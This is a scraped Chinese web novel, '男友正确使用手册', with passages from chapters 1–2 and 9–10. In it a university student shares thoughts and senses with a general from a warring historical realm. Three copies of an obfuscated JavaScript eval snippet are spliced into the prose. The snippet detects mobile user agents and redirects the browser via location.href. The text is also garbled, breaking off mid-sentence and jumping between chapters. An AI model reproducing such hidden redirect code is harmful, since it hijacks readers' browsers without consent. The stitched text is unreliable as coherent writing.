《男友正确使用手册》 1. 第 1 章 《男友正确使用手册》全本免费阅读 [好大的雪啊!] 林一简正眼皮打架、下一秒就要睡过去的时候,被这么一道声音惊醒。 她意识还没有完全清醒,本能地转了一下头往里侧寻找声源,被睡意浸染了大半的脑子艰难地开始运作:今天下雪了吗? 入目是一片昏昏欲睡。 她的右侧边是一位打扮时髦、发型精致的小姐姐,后者半梦半醒间还倔强地保护着自己的发型,维持着后脑和靠背的距离,脑袋往下一点一点的。再往外靠近座椅的是一位老大爷,这会儿正靠着座椅睡得四仰八叉。 这全机舱都昏昏沉沉的情形倒是很正常。 这趟航班的起飞时间是早上七点半,听起来似乎是个容易接受的时间,但是算上提前值机时间,乘客需要在六点左右就要到达机场。更雪上加霜的是,这是个首班地铁都来不及的时间,而用其他方式赶到机场,少说也要近两个小时,林一简今天是凌晨四点起的床。早饭和洗漱,那是什么?来得及凉水泼把脸,已经是她对出门最大的尊重了。 林一简这么打量机舱间,心底却泛起一股非常怪异的情绪。 如果要形容一下,仿佛是看见了一群小蓝人在她面前跳草裙舞——是登机前刷手机的看到的、某博主对自己蘑菇中毒幻觉详细描述,林一简觉得用在这里就很贴切。 林一简:? 什么鬼?! 她觉得机舱不奇怪,反而自己很奇怪。这莫名其妙的情绪是怎么回事?而且刚才听见的声音也很怪啊…… 她都没有找到说话人。 连疑似的也没有。 虽然情况处处都透露着诡异,但大脑的困倦和意识中翻涌的违和感对抗的半天,林一简放弃了挣扎。 ——可能是做梦吧。 她随便找了个说得过去的理由,搪塞过自己后就准备睡觉。 机舱座椅靠背绝对不是为正常女性身高设计的,林一简先前已经以各种姿势尝试过了,这会很干脆地放弃背倚,而是偏头靠上了舷窗的窗框。 她闭眼前又扫了眼窗外的景象。 大概是飞机飞过了刚才那段云层浓密的多云区域,这一段航道可见度很高,能够透过稀疏的几丝云缕看到下方地面的景色。 刚才没有找到声源的声音再一次响起,这次语调要惊异得多,[这是在天上?!] 林一简:?! 她一个激灵,彻底清醒了。 因为有了先前的疑惑,她这次很清楚地察觉到,这个声音是在她脑子里响起的。 大脑中的清亮的男性声音、胸腔中古怪的不属于自己的情绪、内容怪异的提问……果然是在做梦吧!哈哈。 林一简正这么想着,却听见那声音竟给出了回应,[原来是做梦啊。] 林一简:“……!” 莫慌,遇事不决,先问问某度某书。 她拿起了手机。 她又放回去了。 飞行模式没有网。 没网的手机和板砖有什么区别?! 还是有点区别的——里面有她提前缓存好的漫画,本来打算睡不着的时候打发时间用——但是这显然不能的解决当下的问题。 那个不知名的存在显然看见了林一简的动作,极具探究精神地询问:[这是什么?] 林一简没有回答。 她现在还不能确定自己身上发生的到底是玄幻灵异事件,还是精神病理变化,最好不要轻举妄动。就算退一步来讲,撞鬼的最好解决方法也是“不要让鬼知道你撞见了它”。 虽然现在似乎迟了一步,但是林一简还是保持了高质量的沉默。 她甚至还闭上了眼睛。 完美的结果就是,她现在睡一觉,醒来后发现一切都是一场梦。 …… 林一简没能睡着。 脑子里的那个声音实在太吵了。 从“为什么能在天上?是腾云术吗,还是仙家法器?我能不能学?”到“刚才那个盒子是什么?它为什么能发光?”再到“旁边的人为什么都在睡觉?是中了什么术法吗?” 林一简:“……” 对,是仙家法器,如果想学,可以选择航空航天院校的飞机制造专业;屏幕发光大体可分为LCD或者LED两种方式,一个是电场调控液晶分子对背光的透过度,一个是二极管主动发光;是中了术法,术法的源头就是那个凌晨四点那个“叮铃铃”的闹铃声…… 这么一路默默地吐槽着,等林一简回过神来,已经是降落前三十分钟的洗手间关闭通知了,空姐吐字清晰的温柔声音从广播中传出来,林一简这才意识到时间过得这么快。 随着林一简睁开眼睛,那声音也像是被打断了。 他停顿了一下,带着点些微抱怨语气出声:[你为什么不理我?] 林一简:“……” 我怕被当成神经病。 虽然就目前来看,这很有可能是字面意义上的真实情况。 大概是从林一简的沉默中领会到了什么,在接下来的下降过程中,对方的没再出声了。 说实话,林一简居然有那么一丢丢不习惯。 冷静一点,不管是灵异问题还是病理问题,这都说明情况在好转。 飞机缓缓地接近机场,阳光照射的影子在旁边的山坡上投射出机身的形状,林一简听到对方感慨,[原来是在大鸟的肚子里啊。] 林一简:欲言又止.jpg 她三岁的小侄女都…… 算了,如果以年龄算,这还是个只诞生一天的小宝宝呢,林一简宽容地谅解了对方的认知局限——当然,她也没有出声纠正的意思。 接下来,降落、滑行、打开舱门。 林一简从行李架上拿了自己的背包,随着人流往外走。脑海中的声音彻底安静下去,一切都很正常,仿佛刚才航行过程中发生的一切都是云层上的一场怪异的梦境。 林一简一边打开手机给接机的爸妈发消息,一边人还有点恍惚。 难不成真的是做梦? 又往前走了一段,洗手间的标志出现在视野中,林一简没多想就要往那边走,但是快到了入口突然一顿。 她没记错的话,脑子里的声音是个男声。 声音明朗清亮,兼具了磁性和少年质感,要不是出现的方式太诡异,其实是个隐形声控的林一简愿意只靠声音给对方打八分。 大概是林一简在这里站了太久,旁边有人问,[怎么了?] 林一简下意识地回:“没什么……” 刚刚开口就猛地顿住。 ……这个声线似乎有点熟悉啊? 她僵硬地回头,旁边拖着行李的人来去匆匆,哪个也不像有闲心和一个路人搭话的样子。 声音还在继续,[你想进去吧?为什么不进去?] 林一简:“……” 我为什么不进去,你难道不知道吗?! 她先是谨慎地打量了一圈周遭,确定大家都在闷头赶路、没有哪个人在意这边有个“突然自言自语”的奇怪路人,这才悄悄地松了口气。 但这个卫生间肯定是去不成了。 林一简快步往行李转盘走去。 或许是刚才那句无意识地应答让对方确认了林一简确实是个可交流对象,先前已经安静下去的声音又开始喋喋不休,[上面是什么?它也在发光,是夜明珠吗?刚才的琉璃好大好平整,怎么打磨的?] 林一简:“……” “夜明珠”是什么鬼?武侠小说看多了吧?琉璃?玻璃?虽然不了解具体工艺流程,但是窗户玻璃怎么看都是液体流平不可能是打磨吧?…… 问题内容过于难以形容,又是声音因为在自己脑子里响起来,林一简不自觉地生出一种羞耻的感觉:难道我的内心里还藏着这么中二的一面吗?脚趾扣地。 她一路煎熬地走到电梯前,脚步微微顿了一下。< 2. 第 2 章 《男友正确使用手册》全本免费阅读 林一简最后也没和爸妈说那天自己在飞机上的诡异经历。 因为从机场出来之后,那道莫名的声音就没再出现。 林一简乐观地想着:说不定只是意外呢。 果然,接下来的一整天都无事发生。 长久离家后的第一天回来,林一简受到了爸妈无微不至的照顾,喝口水都恨不得送到嘴边的那种。 说实话,这过于浓厚的爱意让人有点难以忍受,林一简的十分感动地受用了一会儿,不得不找了个理由躲到了屋里——她爸妈已经开始旁敲侧击她有没有交男朋友了…… 在父母那理所当然的认知里,仿佛学习相关的任务在高中毕业之后就彻底结束,人生进入到了一个新的阶段。 对此,期末复习得差点猝死的林一简有话要说。 林一简回屋在室友群里吐槽了一下这事,果不其然地得到了一系列共鸣回应。 室友群里的四人闲拉家常地聊了会归家感受,扯了一会儿后,话题自然而然地结束。林一简也收起了手机,拿出了自己的数位板。 虽说不像父母认为的那样,进入大学后,学业压力自然而然消失,但是大学生活确实丰富了许多。经历了每一个新生的新奇探索期之后,林一简还是放弃了那些看起来或是丰富多彩或是高端大气的社团活动和学生工作——恕她直言,这些东西对纯i人一点都不友好——她重新捡起了自己因为升学被迫放弃的兴趣爱好:画漫画。 略显粗糙的线稿在笔下缓缓勾勒出人物的雏形,林一简端着杯子抿了一口,却喝了个空。 她一愣回神,发现右下角的时间已经过了一个多小时。 因为长久保持着一个姿.势,身体都变得僵硬,林一简抬起手臂做了个舒展,端着水杯出去接水。 * 客厅。 林一简刚把杯子放在饮水机的凉水座上,就听见厨房里传来她妈的声音,“大冬天的,别老喝些凉的。” 林一简:“……” 她应该没弄出什么声音吧? 说实话,林一简至今没弄明白她妈到底怎么精准地锁定她的位置和行动的。 她动作稍微顿下,但紧接着就在那一连串哆哆剁菜声中,提高音量扬声应了一句“好”,同时自然而然地拨开了蓝色接水口。 喝热水?怎么可能? 没有在暖气房里吃雪糕已经是她对这个家最大的尊重了。 事实证明,说谎是要遭到报应的,林一简刚刚把杯子端起来,就听见一个说不上熟悉,但绝对印象深刻的声音——[这是什么?] 林一简手一抖,杯子直接砸到了地上。 伴随着这“咣当”的一下声响,厨房的声音一停,林母匆匆出来,急着声问,“怎么了?” 看了这一地碎片,她先是急着看林一简,问:“手没事吧?划着没?” 林一简表情勉强地摇了摇头。 她想要说什么,但在对面亲妈明显过度紧张的神情下,又咽下去:要是这会儿说了,绝对会演变成家庭大事件。 林一简顿了一下,佯作自然地开口,“我把碎片清理一下。” 却被林母赶苍蝇似地往旁边赶去,“去去去,添什么乱呢?一边呆着去。” 林一简:“……” 在名为“帮忙”,实则“碍手碍脚”地协助完亲妈处理了自己造成的残局之后,林一简端着一杯崭新的、冒着热气的水回到了自己的房间。 她心不在焉地把杯子往旁边一放,摇晃着鼠标打断电脑休眠,打开搜索引擎。 在对着键盘表情凝重地思索了一会儿后,林一简深吸了口气,抖着手键入了关键词“精神分裂的自我诊断”。 她之前也查了一点内容,得到了一堆类似于“听觉幻象”“内心言语”“布罗卡氏区”之类的专业术语,但这些描述都和她自己似乎都不那么相符合。倒是无意间瞥到的一句“精神分裂的感知觉障碍表现”让她心底一突,晚上辗转了好久。 ……不会那么惨吧? 在刚才的那句询问之后,那声音就没再出声,但是林一简就是有种“他还没走的”感觉,证据之一就是现在胸腔中翻涌的压都压不下去的情绪。 明明这么凝重严肃的时候,心底却莫名有一种又疑惑又好奇还跃跃欲试的探索欲。 ——就不能让人好好沉重一下吗?! 林一简强行忍耐了一会儿,但是对方好似浑然不觉,随着页面的跳转,那惊异好奇的情绪越发充溢胸腔。明明屏幕上每一行字都是沉重的病理性描述,但是林一简这会儿满心都是“哇”“哦”之类的感叹词情绪。 在对方再度开口询问“什么叫‘病因未明的重性精神病’”时,林一简终于绷不住了,她哽着声指责,“你别太过分了!” 李晦:??? 他干什么了?他只是问了个问题而已。 * 林爸爸今天白天不在家,家里只有林一简和妈妈章琪两个人。 虽然只有两人,但是因为林一简久别归家的特别待遇,林妈妈还是拾掇出来一大桌子菜。 按理说在吃了一个学期食堂之后,吃到久违的母亲的爱心餐,林一简该非常满足才对——昨天确实是这样——不过现在的她心事重重,完全没什么胃口。怕被亲妈看出什么不对,林一简还是强装自然地拿起了筷子,味同嚼蜡……不,非常好吃! 林一简:??? 她当然知道她妈做饭好吃,毕竟这是从小吃到大、养活了一个极度挑食的她的亲妈饭。但是现在这是怎么回事? 她才刚扒了一口饭进到嘴里,就觉得入口绵软,米粒晶莹饱满、香气浓郁,没有一点糠皮残留…… 林一简懵逼地低头看碗。 这就是普通的大米饭吧?!哪有那么香? 她这么想着,手又不受控制地往嘴里扒了一口。 一大口。 林一简:??? 她艰难地把那口快把她噎死的饭咽下去,迟疑抬头:“妈,咱们家换米了?” 章琪却误会了女儿的意思,“对,是上次超市减价大促销的时候买的。你嘴刁得、这都能吃出来……先将就一下吧,等你爸晚上回来,让他顺道去趟超市、买点新米。” “不,不用。”林一简连忙摇头,她眼神怪异地盯着碗里的饭看了半天,低声喃喃,“我觉得这米还挺好吃的。” 看着从小到大、吃饭都是头等难事的女儿大口扒饭,章琪表情也变得疑惑起来:真这么好吃? 她不确定地看了看自己碗里的饭,试探地挑了了一点尝尝,好像确实挺香的。 “那以后就买这个牌子了。” ——最后,她这么拍板决定道。 正忙着扒饭的林一简口齿不清地应了一声。 “别光吃饭,吃菜。” 林妈妈这么说着,夹了一筷子没刺的鱼腹肉到林一简碗里。 林一简百忙之中抽空“嗯”了一声,拌着饭填到了嘴里。 浓烈的味道在舌尖泛开,咸度适中、层次丰富,没有一点腥气…… 林一简:??? 够了啊!她知道她妈做饭好吃,但只是家常菜而已,这仿佛什么星级大厨的感觉是怎么回事?! 她内心挣扎着,筷子却不受控制地伸向餐桌。 章琪本来在旁边看着挺高兴的,这孩子从小吃饭是难题、能多吃两口都谢天谢地,还严重挑食,不吃的东西简直能列个长单子,她都不记得对方上次吃得这么香是什么时候了。 但这么高兴着高兴着,又难过起来。 孩子在外面得饿成什么样、才吃得这么狼吞虎咽啊? 章琪这么看着,脑子里浮现了一个模糊的念头。 她顿了顿,试探开口:“要不妈妈在你学校附近租个房子?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12909323|135747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等春节的倒计时响起,对着手机忙忙碌碌的林爸林妈也抽出些空闲,抬起头来。 “妈过年好!”/“妈过年好!” “奶奶过年好!” 林奶奶笑得脸上的皱纹都深了许多,“都好、都好!” 又拿出了给林一简的压岁红包。 林一简又和爸妈问了好。 得到红包x2(手机转账版)。 忙碌完这一系列年节惯例后,林一简抬头往外看。 窗外有烟花腾空,在黑暗中绽起了明亮的焰色,短暂的盛放后又倏忽坠落,但很快就有下一个接上。 林一简顿了一下,到底在心底小声说了句,[过年好。] [过年好!] 李晦本来看着那烟花若有所思,但听到林一简的话后,立刻回神。 他回得很快,紧接着又接上,[你不生气了?] 林一简被噎了一下。 怎么仿佛她很小肚鸡肠的样子?明明是这个人太讨人嫌了吧?! 大过年的,林一简决定不和这人一般计较了,她宽宏大量地把事情翻了篇,总算有机会问起对面的战事情况。 但看李晦这还有闲心过来招人嫌的样子,情况应该挺好的。 事实也确实如此,李晦态度轻松地表示一切顺利。 还不等林一简再仔细问问,就听见旁边就传来一阵音量很大的夕阳红音乐,是林奶奶的手机。 老年人对这种智能设备不太熟悉,林奶奶用一种让林一简看着都担心的力道狠戳了几下手机屏幕,纳闷:“简简你过来看看,怎么不出声啊?也看不见人。” 林一简凑了过去。 李晦已经被林一简解释过手机的用途,但这还是第一次实际看到视频电话。 开启状态的前置摄像拍摄到了少女清丽面孔,扎高的丸子头旁边是两个映着新年喜庆氛围的红色绒球,几缕碎发顺着额角的弧度落在鬓边,露出了光洁饱满的额头。 李晦还没看清,就见那画面骤然缩小到一边,主屏幕上出现了一个陌生的中年女人的脸。 林一简熟门熟路地问好:“姑姑过年好!” 林奶奶的手机都是默认设置,估计老太太刚才接视频的时候不小心碰到了,把扬声器给关了、又把自己这边的视频切换成了主画面,这才有了“不出声”“也看不见人”的说法。 对面的林姑姑一脸惊喜,“是简简啊!过年好~这孩子、越大越漂亮了,果然是大城市养人,昕昕、昕昕快过来看你姐,我可跟你说……” 林一简眼皮一跳,“姑!奶奶等着和你说话呢。” 她要是刘昕昕,简直恨死这个表姐了。林姑姑简直在不遗余力地破坏她的人际关系。 李晦目光落在右下角缩小显示的画面上。 少女原本轻轻弯起的杏眼瞪圆,嘴唇也略微抿起,整个人都显出些紧绷的神态。 他低声:[确实……] 挺漂亮的。 [什么?] 终于把手机递还给林奶奶、大松口气的林一简模糊听到点声音,不由问了一句。 李晦骤然回神,[没什么。] 林一简:明显有什么吧! 还不等她追问清楚,那道意识骤然中断。 李晦离开了。 林一简:? 她愣了一下,回神才意识到:也差不多。李晦可在这儿看了一整个春晚,他那边是大白天的,又不是睡觉的点,什么时候离开都很正常。 只是林一简抬手摸了摸有点痒的嗓子,心下纳闷。 奇怪,刚才说话太大声了吗? * 李晦是被人叫醒的。 副将全不见先前清点战利品时的轻松,满脸肃容。 一见李晦睁眼,他就立刻开口道:“将军,息州出事了!” 9.第 9 章 李晦突然被叫起来还有点懵,但听到消息瞬间就清醒过来。 他开口便问:“怎么回事?!” 这次奉诏讨贼、平定叛乱,息州那边才是主力,李晦这边充其量算是干扰敌方的偏师,所以先前安恭义才敢那么毫不掩饰地克扣禹州这边军资。问就是优先供应息州,李晦还真没话说。 副将:“节帅突发旧疾,已经卧病数日。” 李晦脸色微变。 不单单是安思范突发旧疾这件事,而是对方卧病这消息都传到他这里来了。息州那一路当然也有能暂代领兵的将领,但是主帅卧病、动摇的是军心。 李晦:“大哥怎么说?” 李晦口中的“大哥”指的是安恒德,后者是跟随安思范最早,也是他麾下最年长的义子,性格敦厚持重、一向很能服众。如今安思范卧病,军中应当是对方暂代事务。 事实也确实如此,但是副将给出的回答却并不乐观,“息州情势不佳、节帅的身体也需要修养,安将军的意思是暂回朔州休整、以图来日。” 这就是撤军的意思了。 李晦跟这位大哥的关系还不错,对方这会儿特地来知会他一声,就是免得主力撤退,李晦在禹州被人包了饺子。 副将也明白对方意思,不由问:“咱们要撤吗?” 李晦拧眉思索了一会儿,却是沉着声:“不能撤。” 这倒不是考虑到下诏讨贼的顺帝怎么样。反正这位陛下都是跑路的熟练工了,从洛都到凤城再到上阳、总有愿意接驾的冤大头,但李晦现在考虑的是别的。 他咬着牙:“我要是撤了,这次的屎盆子绝对扣在我头上了!” 朔州现在可是安恭义掌事,趁着安思范卧病的机会治他个战事不力,赶在安思范好起来之前先斩后奏“军法处置”……这事安恭义又不是没干过。 李晦这么一说,副将也意识到问题,不由面露难色。 说话间,李晦已经走到了一旁的舆图前。 他盯着看了一会儿,缓声开口,“弃禹定,取锦平。” 副将错愕,“将军的意思是……” 李晦扯着唇笑了下,眉宇间一派锋利的锐气,“既然退是退不了,不如干脆干票大的!” 捣了孙成举那厮的大本营。 * 李晦那边的情况,林一简还无从得知。 热闹的年节过去了,脑海中的那个声音没再出现,一切都重新步入正轨。有时候林一简都恍惚觉得,那或许是自己臆想出来的幻觉。 倒是她的漫画还在稳步进展。 【简牍老师你好,我是月下平台的编辑松鼠,很高兴接到您的投稿……】 “简牍”是林一简投稿用的笔名。 林一简把邮件反复看了好几遍,确认是投稿通过的通知没有错,脑子嗡地一下。 心跳在胸腔中跃动、一下重过一下,血流被泵向四肢和大脑,林一简后知后觉地发现自己的指.尖都有细微的颤抖。她使劲握了握手,但是那兴奋的情绪实在没有办法平复。 林一简根本坐不住,撑着桌子推开转椅,在原地转了两圈,忍不住想要把这激动的情绪分享出去。 但是这点念头刚刚生出,大脑像是被泼了瓢凉水一样冷静下来。 这并不是考试成绩、或者拿到某某竞赛奖一样,能和爸爸妈妈分享的事情,那两人大概率不会为此高兴。 那上头的情绪稍微降了温,林一简将目光投向旁边的聊天窗口。 在最上面的当然是刚刚互相抱怨吐槽过“假期余额不足”的室友群,林一简点开之后却犹豫了一下。 ——真的要说吗? 在林爸林妈态度鲜明的反对下,林一简对于画画这件事总有种“不务正业”的认知,那种下意识想要隐藏的羞耻感实在不是理智能够克服的,所以朋友们虽然知道她在画画,但是都并不清楚具体情况。突然说这种消息,是不是太奇怪了? 纠结犹豫间,那种兴奋的情绪已经散得差不多了。 林一简鼠标在聊天列表上戳戳点点,终究还是没能把消息发出去。 妈妈那“净画些没用的”点评浮上心间,曾经的画纸被爸爸随手塞到垃圾桶的画面闪现,兴奋过后、林一简情绪反而低落下去。 ……这好像也不是什么值得分享的事。 林一简这么想着,心底却隐隐期待能有什么声音回应她,就算是那种很讨人嫌的忍笑声也没关系。 意识之中一片安静,并没有出现什么多余的声音。 林一简拍了拍脸,冷静下来。 总之,先回复。 如果只是像学期中的那样随便画画当然没那么多的要求,但是投稿签约情况要稍微复杂一点。 林一简加了编辑联系方式,等待回应期间,把对方邮件中要求的资料整理汇总了一遍,准备发过去。对面通过得很快,林一简还在斟酌打招呼用词期间,对方已经飞快发来消息。 [简牍老师好,我是月下的编辑松鼠。我在平台的征稿箱里看到了您的作品,真是让人耳目一新,恋爱向的漫画里形象这么质朴的男主角很少见,能问问您是怎么想的吗?] 林一简:“……” 她盯着“形象质朴”那几个字,瞳孔地震。 ——怎么会?!她已经那么努力地把男主画得帅气了!! * 息州。 安思范身体抱恙这件事其实出征路上就有显露,但是大军出征并不是件小事,就此班师显然不现实,故而安思范一直有意压着消息,只是到底没能藏住。 泄露军情的那人当然已经被处置了,但是息州战况本就焦灼,这消息一出,士气散去、己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12939030|135747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方立刻就陷入了劣势。安思范本就人在病中,被这消息气得够呛,病又生生地重了几分,这才是真的病况凶险。 安恒德也是因此有退兵之意。 一时成败只是小事,主帅要是这么病故,朔州才会彻底陷入乱局。 想想现在朔州的情况,难不成真的让安恭义那一介小人掌事吗?! 安思范醒后,听到安恒德决定后,当即把人臭骂了一顿。 正巧这会儿禹定的回信送来,安思范沉着脸看后,却是表情一霁。 少顷,竟是忍不住拊掌大笑,“哈哈哈,好!不愧是我家儿郎!有我当年风范!!” 安恒德目光落在被安思范放在一边的信上,飞快扫过几眼,却是眉头拧起。 ——简直胡来! * 不提李晦那边如何兵行险着,林一简却过得忙忙碌碌。 和编辑讨论之后,对方给出了不少修改意见,林一简趁着假期余额告罄的这几天一直在修改,一直到群里讨论返校时间的时候,林一简才惊觉,自己差点忘了买回校的票。 虽然过程很艰辛,但结果是美好的。 林一简总算赶在返校前完成了初步的修改,两边都松了口气。 编辑松鼠:[我已经把你的稿子提交主编,明天开会商讨,如果一切顺利的话,就能正式签约啦~] 林一简斟酌用词:[好的,谢谢编辑。这段时间辛苦您了!] 似乎是从林一简的遣词上看出什么,对面开解:[不用那么紧张,我觉得你通过的机会很大,很少有恋爱漫画这么用心做背景资料了,花了很多心思吧?] 被对面这么一提醒,林一简才发现自己的手不知道什么时候握紧了拳。 她确实有点紧张、亿点点…… 也就比去年等高考成绩那时候多一点吧。 不过看到那句“用心做背景资料”,林一简还是心情微妙。虽然确实在上面废了不少心思,但是对面绝对猜不到真正的原因:她可是真的给一场古代战争做了准备期的远程援助!震声! 说起这个来,也不知道李晦那边怎么样了?一直没有消息…… 林一简正这么想着,却听房间门被敲响。 她骤然回神,手忙脚乱地隐藏聊天窗口。果然,下一秒房间门被打开,林妈妈催促,“明天就回学校了,今天别睡那么晚。快洗个澡,早点上床。” 林一简“嗯嗯”应是,等林妈妈走后,才重新打开聊天窗口。 又和编辑聊了几句漫画的情况,两人结束话题,林一简才抱着毛巾去了浴室。 蒸腾的水汽一点点模糊了视野,热水舒缓了紧绷身体,林一简缓缓呼出了一口气。 在这样放松的环境下,先前被打断的想法又在脑海里浮现。 ……不知道李晦那边现在怎么样了? 10.第 10 章 李晦这会儿正带兵追击孙成举残部。 孙成举追得狼狈逃窜,这会儿只想破口大骂:到底是那个废物刺探来的情报?!说是李晦和如今留守朔州的安恭义不合,后者必定要给李晦使绊子。巧妇难为无米之炊,纵使李晦再怎么天纵奇才、将星入世,军资受阻、一样守不住禹定。 那姓李的守禹定吗?他根本没守,直奔着他的锦平来了!! 这么想想,恐怕息州那边的消息,安思范老贼的病也是装的,是为了让他放松警惕。 阴险!真是太阴险了!! 孙成举越发咬牙,可是看看身边神情惶惶的残部,他不得不冷静下来。他定了定神,对着左右下令道:“不能再退了!整兵、准备迎击!” 身侧的将领却面露迟疑之色。 孙成举当即就要骂人,但是念及如今的形势,到底还是忍住了,压着气道:“那李小儿惯当先锋,如今他虽来势汹汹,到底人数寡少,能以力克之……不现在冲了他的阵,难不成真的等安思范大军压过来吗?!” 说到最后,声调拔高得都有些破音。 眼见着主帅都要抽刀了,那将领忙领命而去。 孙成举见此情况,总算气顺了点。 他勒停马缰,眯着眼睛往后看,眼底凶光闪烁。那姓李的小儿不给他活路,也别怪他和人拼个鱼死网破。 * 孙成举那边的变动也传到了李晦这里,李晦微微沉吟了一下,出声叫了停,“差不多行了,先别追了。” 这一路疾行过来、兵疲马倦的,早就战力减损了大半,也就是打孙成军一个措手不及,对面摸不清形式不敢硬抗。但要真的正面对上,他们这点人还不够人家塞牙缝的呢。 副将当然也知道这个道理,但是却拧了拧眉,迟疑:“万一被发现不对……” 他们这点人,也就是趁势追击、让对方心生畏惧,这才把人撵着跑。等一停下来,那边冷静想想,很容易就发现不对,到时候他们可就麻烦了。 说到底,能坐到一方节度使的位置上,孙成举也不是傻子。 李晦哼笑,“放心。那姓孙的能反应过来,他手下的兵可不一定听他的。” 事实确实如李晦预料的,孙成举察觉李晦这边露出疲势,立刻就猜到对方人数不多。 可他刚刚心生喜意,准备勒令回击的时候,却发现刚刚成阵势的部众一下溃散了——被追得走投无路,当然愿意反戈一击,可是现在敌人都不追了,他们干什么去自讨苦吃? 孙成举再怎么有心打回去,也没法唤起一支毫无战意的大军,只得咬牙退去。 一夜之间,锦平易主。 但是李晦手底下的人不多,只控制住城内几个关键所在,其他地方就任由他们自去了。城里的豪族也不是傻子,见此情况,心中都有自己的猜测。于是天色刚明,李晦就收到赴宴的邀约。 李晦扫了两眼,就把那帖子往旁边一扔,不客气地开口:“大清早的,赴个屁的宴!” 宴无好宴,试探的意思都摆在脸上了。 先是长途奔袭又是连夜接战,好不容易稍微喘口气了,又得应付这些人。 李晦身上的低气压简直肉眼可见,带着昨夜厮杀后未散的血气,整个人都显得阴森森的。 正巧这会儿副将引着一个中年文人前来,一进来就见李晦这一副索命的怨鬼样儿,不由脚步一顿。 他身侧那人也没想到会看见这情形,但也只是愣了一下,很快就恢复常色。 副将尴尬地“咳”了一声……好几声,才勉强拉过李晦的注意力。 李晦原本有气无力瞥过去目光在落到副将身侧的人时略略愣了一下,“你不是……?” 那人适时上前一步,抱拳行礼,“节帅吩咐某静候于此,待李将军佳音。” 这人是安思范安插在锦平城内的内应。 李晦本来就对这人有点印象,再加上副将赵敦益为人一向谨慎,既是他带着人过来,必定是已经查验过身份了,这会儿便没再多此一举地问询些什么,而是松口气问道:“义父没事了?” 既然还有精力能做出这些安排,想来情况不错。 李晦是真的大松口气,若是没有大军接应,他这锦平城就是打下来也守不了几天。 对面那人回:“得知李将军捣敌咽喉的骁勇之举,节帅甚为欣悦。大喜之下,病势不药自去。” 来人对李晦解说了一番锦平城内的情况,又告知息州那边大军动向,对现在情况有数的李晦总算眉头稍展,不复先前那怨气森森的模样了。 话题暂时告一段落,杜彦之注意到桌边的帖子,“这是?” 李晦瞥了一眼,不在意道:“是王家还是钱家送来的宴帖。” 杜彦之:“城东的吴氏?” 李晦这才“哦”了一声,杜彦之还待开口说什么,李晦已经把帖子往旁边亲兵手里一塞,径直吩咐,“让他们等着罢。” 亲兵一点没耽搁地领命而去,本还想说什么的杜彦之:“……” 城东的吴家是东淄吴氏的旁支,其宗族庞大、不仅仅影响锦平一地,能打好关系还是打好关系的好。况且就算不想那么远,和吴氏交好,对控制城中情况也有好处。 杜彦之这么想着,看看上首的李晦,到底没说什么。 就李晦这态度,真的赴了宴,是结交还是结仇真的不好说。 这边,李晦吩咐完了,又瞥了杜彦之一眼。 后者被看得一愣,但到底是能当卧底的人才,立刻就明白了李晦的意思,会意地拱了拱手,“将军既无要事,在下便先行告退。” 杜彦之走后,副将纳闷地看着李晦,“你有事?” 赶人的态度也太明显了。 能被送来锦平当内应,这人可是节帅心腹,李晦的身份倒也不至于讨好,但是客气点总是没错的。结果他可倒好,连杯茶都没让喝,直接赶人了。 李晦半点不停地“嗯”了声,非常干脆地给出回答:“睡觉!” 副将:“啊?!” 大清早的,睡什么觉啊? 李晦可半点不觉得有问题。 ——当然要睡觉! 这么大的好消息,该第一时间告诉这一仗的大功臣才对。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971568|135747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 下雨了? 李晦刚刚过来,就察觉异样。 水如珠帘般从上倾斜而下,一点点浸透身体,他顺势产生这样的疑惑。但也很快就意识到了不对,这水怎么是热的?而且周围也是雾气蒸腾的…… 李晦心底隐约闪过模糊的想法,但还没待成形,那边林一简已经察觉到了。 林一简虽然意识到了,但是不敢确定。 她抱着侥幸心理,紧绷着声音试探了一声,[李惟昭?] 已经明白过来这是什么情况的李晦:[……] 这种状况下,好像回不回答都不太对的样子。 最后,他还是硬着头皮低应了一声,[是我。] 林一简手一抖,本来要关的淋浴整个拨到了凉水档,她顶着一头的泡沫被浇了个透心凉。 托这个的福,林一简一下子冷静下来,她抖着手关掉淋浴,不知道是急得还是冻得,手指哆嗦着扯过毛巾,一边胡乱擦着一边警告,[你不许看!] 李晦:[……] 李晦沉默了好一会儿,忍耐着开口,[是你别看……] 林一简意识到什么,猛地闭上眼。 但是互通的五感中并不仅仅有视觉,李晦没觉得情况好多少。 浴室里乒雳乓啷的声音也引起了章琪的注意,后者在外面扬着声问:“怎么了?摔倒了?” 说着,就听见门把手转动的声音。 “没!”林一简拔高声调,“我没事!妈你别进来。我洗好了,马上就出去!!” 